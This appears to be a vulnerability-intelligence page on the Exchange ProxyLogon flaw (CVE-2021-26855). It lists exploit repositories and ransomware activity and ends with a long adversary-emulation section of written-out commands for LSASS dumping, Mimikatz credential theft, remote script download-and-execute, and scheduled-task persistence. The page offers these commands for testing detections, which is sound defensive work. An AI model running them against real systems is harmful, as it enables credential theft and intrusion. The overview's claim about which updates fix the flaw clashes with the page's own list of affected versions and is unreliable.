CVE-2021-26855
Overview
This vulnerability is a server-side request forgery (SSRF) flaw in Microsoft Exchange Server's HTTP handling component, enabling unauthenticated remote code execution. The root cause lies in improper validation of incoming HTTP requests, allowing attackers to craft specially designed requests that the server processes internally. Affected components include Microsoft Exchange Server 2013 and 2016 cumulative updates, specifically the HTTP proxy functionality that forwards requests without adequate access control checks.
Vulnerability Description
Microsoft Exchange Server Remote Code Execution Vulnerability
Impact
An attacker requires no authentication or user interaction to exploit this vulnerability, enabling remote execution of arbitrary commands with SYSTEM privileges. This can lead to full compromise of the Exchange Server, including unauthorized access to mailbox contents, data exfiltration, and lateral movement within the network. The ability to execute commands at the system level severely impacts confidentiality, integrity, and availability of enterprise email infrastructure.
Solution
Microsoft has released security updates addressing this vulnerability in Exchange Server 2013 Cumulative Update 21 and later, as well as Exchange Server 2016 Cumulative Update 10 and 11. Administrators should apply the patches detailed in the Microsoft Security Response Center advisory at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855. Following the vendor's guidance ensures removal of the SSRF flaw and prevents exploitation via the proxy component.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (24)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Microsoft | Exchange Server | 2013 |
cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_21:*:*:*:*:*:*
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Microsoft | Exchange Server | 2013 |
cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_22:*:*:*:*:*:*
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Microsoft | Exchange Server | 2013 |
cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
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Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_10:*:*:*:*:*:*
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Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_11:*:*:*:*:*:*
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Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_12:*:*:*:*:*:*
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Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_13:*:*:*:*:*:*
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Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_14:*:*:*:*:*:*
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Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_15:*:*:*:*:*:*
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Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_16:*:*:*:*:*:*
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Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_17:*:*:*:*:*:*
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Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_18:*:*:*:*:*:*
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Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_19:*:*:*:*:*:*
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Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_8:*:*:*:*:*:*
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Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_9:*:*:*:*:*:*
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Microsoft | Exchange Server | 2019 |
cpe:2.3:a:microsoft:exchange_server:2019:-:*:*:*:*:*:*
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Microsoft | Exchange Server | 2019 |
cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_1:*:*:*:*:*:*
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Microsoft | Exchange Server | 2019 |
cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_2:*:*:*:*:*:*
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Microsoft | Exchange Server | 2019 |
cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_3:*:*:*:*:*:*
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Microsoft | Exchange Server | 2019 |
cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_4:*:*:*:*:*:*
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Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (3)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Microsoft Exchange ProxyLogon RCE
exploits/windows/http/exchange_proxylogon_rce
|
Orange Tsai, Jang (@testanull), mekhalleh (RAMELLA Sébastien) +4 | Unknown | - | View |
|
Microsoft Exchange ProxyLogon Scanner
auxiliary/scanner/http/exchange_proxylogon
|
Orange Tsai, mekhalleh (RAMELLA Sébastien) | Unknown | - | View |
|
Microsoft Exchange ProxyLogon Collector
auxiliary/gather/exchange_proxylogon_collector
|
Orange Tsai, GreyOrder, mekhalleh (RAMELLA Sébastien) | Unknown | - | View |
ExploitDB (4)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit) | mekhalleh | webapps | windows | - | View |
| Microsoft Exchange 2019 - Unauthenticated Email Download | Gonzalo Villegas | webapps | windows | - | View |
| Microsoft Exchange 2019 - Server-Side Request Forgery | F5 | remote | windows | - | View |
| Microsoft Exchange 2019 - Server-Side Request Forgery (Proxylogon) (PoC) | testanull | webapps | windows | - | View |
GitHub PoCs (53)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Flangvik/SharpProxyLogon
C# POC for CVE-2021-26855 aka ProxyLogon, supports the classically semi-interactive web shell as well as shellcode injec...
|
Flangvik | 247 | 41 | 2021-03-29 | View |
|
hosch3n/ProxyVulns
[ProxyLogon] CVE-2021-26855 & CVE-2021-27065 Fixed RawIdentity Bug Exploit. [ProxyOracle] CVE-2021-31195 & CVE-2021-3119...
|
hosch3n | 175 | 33 | 2021-04-14 | View |
|
dwisiswant0/proxylogscan
A fast tool to mass scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authenti...
|
dwisiswant0 | 166 | 23 | 2021-03-08 | View |
|
h4x0r-dz/CVE-2021-26855
|
h4x0r-dz | 98 | 61 | 2021-03-09 | View |
|
p0wershe11/ProxyLogon
ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF->GetWebShell)
|
p0wershe11 | 123 | 32 | 2021-03-17 | View |
|
cert-lv/exchange_webshell_detection
Detect webshells dropped on Microsoft Exchange servers exploited through "proxylogon" group of vulnerabilites (CVE-2021-...
|
cert-lv | 98 | 19 | 2021-03-05 | View |
|
hackerschoice/CVE-2021-26855
PoC of proxylogon chain SSRF(CVE-2021-26855) to write file by testanull, censored by github
|
hackerschoice | 59 | 32 | 2021-03-11 | View |
|
alt3kx/CVE-2021-26855_PoC
|
alt3kx | 53 | 29 | 2021-03-10 | View |
|
hackerxj007/CVE-2021-26855
CVE-2021-26855 exp
|
hackerxj007 | 5 | 69 | 2021-03-08 | View |
|
praetorian-inc/proxylogon-exploit
Proof-of-concept exploit for CVE-2021-26855 and CVE-2021-27065. Unauthenticated RCE in Exchange.
|
praetorian-inc | 52 | 17 | 2021-03-24 | View |
|
conjojo/Microsoft_Exchange_Server_SSRF_CVE-2021-26855
Microsoft Exchange Server SSRF漏洞(CVE-2021-26855)
|
conjojo | 36 | 8 | 2021-03-06 | View |
|
ZephrFish/Exch-CVE-2021-26855
CVE-2021-26855: PoC (Not a HoneyPoC for once!)
|
ZephrFish | 28 | 15 | 2021-03-14 | View |
|
RickGeex/ProxyLogon
ProxyLogon is the formally generic name for CVE-2021-26855, a vulnerability on Microsoft Exchange Server that allows an ...
|
RickGeex | 33 | 8 | 2021-03-16 | View |
|
evilashz/ExchangeSSRFtoRCEExploit
CVE-2021-26855 & CVE-2021-27065
|
evilashz | 28 | 9 | 2021-03-15 | View |
|
pussycat0x/CVE-2021-26855-SSRF
This script helps to identify CVE-2021-26855 ssrf Poc
|
pussycat0x | 24 | 12 | 2021-03-06 | View |
|
srvaccount/CVE-2021-26855-PoC
PoC exploit code for CVE-2021-26855
|
srvaccount | 17 | 19 | 2021-03-09 | View |
|
hakivvi/proxylogon
RCE exploit for Microsoft Exchange Server (CVE-2021-26855).
|
hakivvi | 22 | 6 | 2021-03-14 | View |
|
soteria-security/HAFNIUM-IOC
A PowerShell script to identify indicators of exploitation of CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-20...
|
soteria-security | 22 | 1 | 2021-03-03 | View |
|
r0xDB/CVE-2021-26855
CVE-2021-26855, also known as Proxylogon, is a server-side request forgery (SSRF) vulnerability in Exchange that allow...
|
r0xDB | 12 | 7 | 2021-03-11 | View |
|
mil1200/ProxyLogon-CVE-2021-26855
RCE exploit for ProxyLogon vulnerability in Microsoft Exchange
|
mil1200 | 9 | 6 | 2021-03-14 | View |
|
kh4sh3i/ProxyLogon
ProxyLogon (CVE-2021-26855+CVE-2021-27065) Exchange Server RCE (SSRF->GetWebShell)
|
kh4sh3i | 9 | 2 | 2022-06-27 | View |
|
Yt1g3r/CVE-2021-26855_SSRF
POC of CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-26865, ProxyLogon poc
|
Yt1g3r | 4 | 6 | 2021-03-08 | View |
|
Mr-xn/CVE-2021-26855-d
|
Mr-xn | 6 | 4 | 2021-03-15 | View |
|
thau0x01/poc_proxylogon
Microsoft Exchange ProxyLogon PoC (CVE-2021-26855)
|
thau0x01 | 8 | 1 | 2021-12-04 | View |
|
SCS-Labs/HAFNIUM-Microsoft-Exchange-0day
CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065
|
SCS-Labs | 5 | 4 | 2021-03-11 | View |
|
TaroballzChen/ProxyLogon-CVE-2021-26855-metasploit
CVE-2021-26855 proxyLogon metasploit exploit script
|
TaroballzChen | 4 | 4 | 2021-03-17 | View |
|
sgnls/exchange-0days-202103
IoC determination for exploitation of CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.
|
sgnls | 5 | 3 | 2021-03-03 | View |
|
La3B0z/CVE-2021-26855-SSRF-Exchange
CVE-2021-26855 SSRF Exchange Server
|
La3B0z | 6 | 2 | 2021-03-07 | View |
|
catmandx/CVE-2021-26855-Exchange-RCE
Microsoft Exchange Proxylogon Exploit Chain EXP分析
|
catmandx | 0 | 6 | 2021-03-21 | View |
|
mekhalleh/exchange_proxylogon
Module pack for #ProxyLogon (part. of my contribute for Metasploit-Framework) [CVE-2021-26855 && CVE-2021-27065]
|
mekhalleh | 4 | 2 | 2021-03-07 | View |
|
ssrsec/Microsoft-Exchange-RCE
Microsoft Exchange CVE-2021-26855&CVE-2021-27065
|
ssrsec | 3 | 2 | 2023-02-02 | View |
|
KotSec/CVE-2021-26855-Scanner
Scanner and PoC for CVE-2021-26855
|
KotSec | 3 | 2 | 2021-03-12 | View |
|
ZephrFish/Exch-CVE-2021-26855_Priv
patched to work
|
ZephrFish | 4 | 1 | 2021-03-15 | View |
|
Immersive-Labs-Sec/ProxyLogon
Chaining CVE-2021-26855 and CVE-2021-26857 to exploit Microsoft Exchange
|
Immersive-Labs-Sec | 3 | 1 | 2021-03-16 | View |
|
byinarie/Zirconium
Tool to search for IOCs related to HAFNIUM: CVE-2021-26855 CVE-2021-26857 CVE-2021-26858 CVE-2021-27065
|
byinarie | 2 | 1 | 2023-01-22 | View |
|
glen-pearson/ProxyLogon-CVE-2021-26855
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glen-pearson | 1 | 1 | 2023-04-23 | View |
|
haotiku/CVE-2021-26855-exploit-Exchange
|
haotiku | 0 | 2 | 2021-04-14 | View |
|
SimoesCTT/CTT-Exchange-RCE-v1.0---Microsoft-Exchange-Exploit-CVSS-10.0-CRITICAL-CVE-2021-26855-CVE-2021-27065
CTT-enhanced version of the Microsoft Exchange Server SSRF to RCE exploit (ProxyShell/ProxyLogon), another CVSS 10.0 cri...
|
SimoesCTT | 1 | 0 | 2026-01-28 | View |
|
antichown/Scan-Vuln-CVE-2021-26855
|
antichown | 0 | 1 | 2021-03-18 | View |
|
TheDudeD6/ExchangeSmash
CVE-2021-26855
|
TheDudeD6 | 0 | 1 | 2022-06-24 | View |
|
probablysecure/Triage-CVE-2021-26855-ProxyLogon---Microsoft-Exchange-
Goal is to triage well known attacks and learn how security teams quickly respond.
|
probablysecure | 0 | 0 | 2026-06-29 | View |
|
sydneysamantha/Triage-CVE-2021-26855-ProxyLogon---Microsoft-Exchange-
Goal is to triage well known attacks and learn how security teams quickly respond.
|
sydneysamantha | 0 | 0 | 2026-06-29 | View |
|
wysssadda/ExchangeSmash
CVE-2021-26855
|
wysssadda | 0 | 0 | 2022-06-27 | View |
|
mauricelambert/ExchangeWeaknessTest
This script test the CVE-2021-26855 vulnerability on Exchange Server.
|
mauricelambert | 0 | 0 | 2021-03-09 | View |
|
DCScoder/Exchange_IOC_Hunter
CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065
|
DCScoder | 0 | 0 | 2021-03-09 | View |
|
Nick-Yin12/106362522
針對近期微軟公布修補遭駭客攻擊的Exchange Server漏洞問題,台灣DEVCORE表示早在1月5日便已發現安全漏洞後,並且向微軟通報此項編號命名為「CVE-2021-26855 」,以及「CVE-2021-27065」的零日漏洞,同...
|
Nick-Yin12 | 0 | 0 | 2021-04-19 | View |
|
1342486672/Flangvik
C# POC for CVE-2021-26855 aka ProxyLogon, supports the classically semi-interactive web shell as well as shellcode in…
|
1342486672 | 0 | 0 | 2022-06-07 | View |
|
ShyTangerine/cve-2021-26855
|
ShyTangerine | 0 | 0 | 2023-04-25 | View |
|
timb-machine-mirrors/testanull-CVE-2021-26855_read_poc.txt
Clone from gist
|
timb-machine-mirrors | 0 | 0 | 2024-01-04 | View |
|
SimoesCTT/CTT-ProxyLogon-RCE-v1.0---Convergent-Time-Theory-Enhanced-Microsoft-Exchange-Exploit
An advanced exploit for Microsoft Exchange Server (CVE-2021-26855, CVE-2021-27065) enhanced with Convergent Time Theory...
|
SimoesCTT | 0 | 0 | 2026-01-27 | View |
|
hictf/CVE-2021-26855-CVE-2021-27065
analytics ProxyLogo Mail exchange RCE
|
hictf | 0 | 0 | 2021-03-23 | View |
|
yaoxiaoangry3/Flangvik
C# POC for CVE-2021-26855 aka ProxyLogon, supports the classically semi-interactive web shell as well as shellcode in…
|
yaoxiaoangry3 | 0 | 0 | 2021-10-30 | View |
|
Wercd/CVE-2021-26855
|
Wercd | 0 | 0 | 2025-12-04 | View |
Ransomware Groups 4
Threat Feed
59 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
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Sighting activity recorded
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Ransomware group known to exploit this vulnerability. Tools: AnyDesk, Impacket, NTDS Utility (ntdsutil), PowerView, PsExec (288 known victims)
Ransomware group known to exploit this vulnerability. Tools: BCDEdit, Defender Control, VmConnect, WMIC, fsutil (156 known victims)
Ransomware group known to exploit this vulnerability (135 known victims)
Ransomware group known to exploit this vulnerability (32 known victims)
Ransomware group known to exploit this vulnerability (24 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Active exploitation confirmed with 87 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
30%
|
High | High |
Red Team Playbook
78 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
schtasks /create /TN "ProactiveScan" /TR "wscript.exe \"%APPDATA%\Microsoft\Chkdsk.js\" -scan Kdw6gG7cpOSZsBeH" /SC ONLOGON /F
Add-Type @'
using System;
using System.Diagnostics;
using System.IO;
public class TopinambourDropper {
public static void unpack_p(string sourceExe) {
string dropPath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "VirtualStore", "certcheck.exe");
Directory.CreateDirectory(Path.GetDirectoryName(dropPath));
File.Copy(sourceExe, dropPath, true);
}
public static void make_some_noise() {
ProcessStartInfo startInfo = new ProcessStartInfo("cmd", "/c schtasks /create /SC MINUTE /MO 30 /TR \"%localappdata%\\VirtualStore\\certcheck.exe\" /TN VerifiedPublisherCertCheck /F")
{
CreateNoWindow = true,
UseShellExecute = false
};
Process.Start(startInfo).WaitForExit();
}
}
'@
[TopinambourDropper]::unpack_p("#{benign_exe}")
[TopinambourDropper]::make_some_noise()
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
